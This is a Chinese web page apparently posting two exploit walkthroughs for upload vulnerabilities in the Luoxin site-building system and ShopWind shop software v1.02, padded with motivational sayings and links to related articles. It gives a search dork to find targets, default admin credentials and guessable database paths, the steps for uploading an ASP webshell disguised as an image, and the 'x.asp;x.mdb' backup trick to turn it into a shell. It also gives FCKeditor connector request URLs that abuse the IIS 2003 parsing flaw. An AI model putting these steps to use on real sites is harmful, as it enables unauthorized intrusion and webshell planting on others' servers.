ShopWind网店系统与罗信网络建站 v1.02 上传漏洞

早起三天当一工,早起三年没那么穷。人生的路虽然很复杂、很坎坷,但是只要你的脚走在直道,不在歪门邪道;只要你的眼看着前方,不在东张西望;只要你的心没有装下贪婪,没有投机取巧。就永远也不会摔倒。
罗信网络建站系统oDAY
百度 or google "技术支持:罗信网络"
后台地址: site+lx
数据库地址: site+lx+databases+主域名.asp(需要猜测)
帐号&密码: admin admin
下来就是拿shell
重要部分: 上传jpg格式的asp马
数据库备份,请注意,这里只能备份后缀为mdb格式的.
那我们怎么备份呢?
还记得之前x.asp;x.jpg格式吗?
对 我们依靠这个 备份格式为: x.asp;x.mdb
OK之后访问我们的备份shell
在线编辑器: site+/lx/edit/admin_login.asp
在线编辑器数据库地址 site/lx/edit/db/%23edit.mdb
注释:官方未修补
====================YD分界线====================
ShopWind网店系统 v1.02 上传漏洞
Author:Lan3a
这个程序用的是FCKeditor 编辑器
利用2003的解析问题。直接说利用方法!
第一步:

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
第二步:
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp

以上就是ShopWind网店系统与罗信网络建站 v1.02 上传漏洞。把你的脸迎旭日光,那就不会有暗影。更多关于ShopWind网店系统与罗信网络建站 v1.02 上传漏洞请关注haodaima.com其它相关文章!

您可能有感兴趣的文章
KesionCMS(科讯)上传漏洞与防范方法

2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)

宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析

CPU幽灵和熔断漏洞是什么?Intel为大家简单易懂的科普了一番

解析文件上传漏洞 从FCKEditor文件上传漏洞谈起